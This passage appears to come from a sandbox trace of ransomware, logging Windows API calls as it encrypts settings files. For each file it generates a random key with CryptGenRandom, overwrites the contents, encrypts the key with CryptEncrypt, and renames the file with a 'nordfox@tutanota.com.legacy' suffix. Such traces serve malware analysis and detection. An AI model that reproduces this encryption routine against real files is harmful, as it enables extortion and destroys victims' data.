lpOverlapped=0x0) returned 1 [0199.767] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a9 [0199.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.767] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.767] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.768] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.768] CloseHandle (hObject=0x1c24) returned 1 [0199.768] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupDataSenseMainPageOverview.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupdatasensemainpageoverview.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupDataSenseMainPageOverview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupdatasensemainpageoverview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.770] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.770] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupAutoplayDefaults.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.770] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x47b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0199.772] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.772] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x47b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0199.772] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47b [0199.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.772] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.773] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.773] CloseHandle (hObject=0x1c24) returned 1 [0199.773] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupAutoplayDefaults.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupautoplaydefaults.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupAutoplayDefaults.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupautoplaydefaults.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.775] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupAppSizesList.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.775] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x460, lpOverlapped=0x0) returned 1 [0199.776] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.776] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x460, lpOverlapped=0x0) returned 1 [0199.777] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x460 [0199.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.777] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.777] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.778] CloseHandle (hObject=0x1c24) returned 1 [0199.778] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupAppSizesList.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupappsizeslist.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupAppSizesList.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupappsizeslist.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.780] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.780] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.780] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Proxy_Automatic_Config_Group.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.780] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x472, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x472, lpOverlapped=0x0) returned 1 [0199.782] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.782] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x472, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x472, lpOverlapped=0x0) returned 1 [0199.785] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x472 [0199.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.786] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.786] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.786] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.787] CloseHandle (hObject=0x1c24) returned 1 [0199.787] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Proxy_Automatic_Config_Group.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_proxy_automatic_config_group.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_Proxy_Automatic_Config_Group.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_proxy_automatic_config_group.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0199.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.790] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{E2E2F6CF-9D1A-4004-8999-8AB81010B5AC}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.791] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x422, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x422, lpOverlapped=0x0) returned 1 [0199.799] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1058, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.799] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x422, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x422, lpOverlapped=0x0) returned 1 [0199.800] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x422 [0199.800] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.800] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.800] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.800] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.801] CloseHandle (hObject=0x1c24) returned 1 [0199.801] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{E2E2F6CF-9D1A-4004-8999-8AB81010B5AC}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{e2e2f6cf-9d1a-4004-8999-8ab81010b5ac}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{E2E2F6CF-9D1A-4004-8999-8AB81010B5AC}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{e2e2f6cf-9d1a-4004-8999-8ab81010b5ac}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.803] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{A88F43D0-B9C8-42F2-B9F3-90902FC0B22B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.803] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x3ed, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ed, lpOverlapped=0x0) returned 1 [0199.804] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1005, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.805] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x3ed, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ed, lpOverlapped=0x0) returned 1 [0199.805] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ed [0199.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.805] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.806] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.806] CloseHandle (hObject=0x1c24) returned 1 [0199.806] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{A88F43D0-B9C8-42F2-B9F3-90902FC0B22B}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{a88f43d0-b9c8-42f2-b9f3-90902fc0b22b}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{A88F43D0-B9C8-42F2-B9F3-90902FC0B22B}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{a88f43d0-b9c8-42f2-b9f3-90902fc0b22b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{7940ACF8-60BA-4213-A7C3-F3B400EE266D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.808] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x3df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0199.810] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-991, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.810] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x3df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0199.810] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3df [0199.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.810] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.811] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.811] CloseHandle (hObject=0x1c24) returned 1 [0199.811] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{7940ACF8-60BA-4213-A7C3-F3B400EE266D}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{7940acf8-60ba-4213-a7c3-f3b400ee266d}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{7940ACF8-60BA-4213-A7C3-F3B400EE266D}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{7940acf8-60ba-4213-a7c3-f3b400ee266d}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.813] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{728047C0-00D2-4FDB-A069-06338B92E93B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.814] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0199.815] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.815] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0199.815] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f3 [0199.815] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.815] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.816] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.816] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.816] CloseHandle (hObject=0x1c24) returned 1 [0199.816] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\aaa_Classic_{728047C0-00D2-4FDB-A069-06338B92E93B}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_classic_{728047c0-00d2-4fdb-a069-06338b92e93b}.settingcontent-ms"), 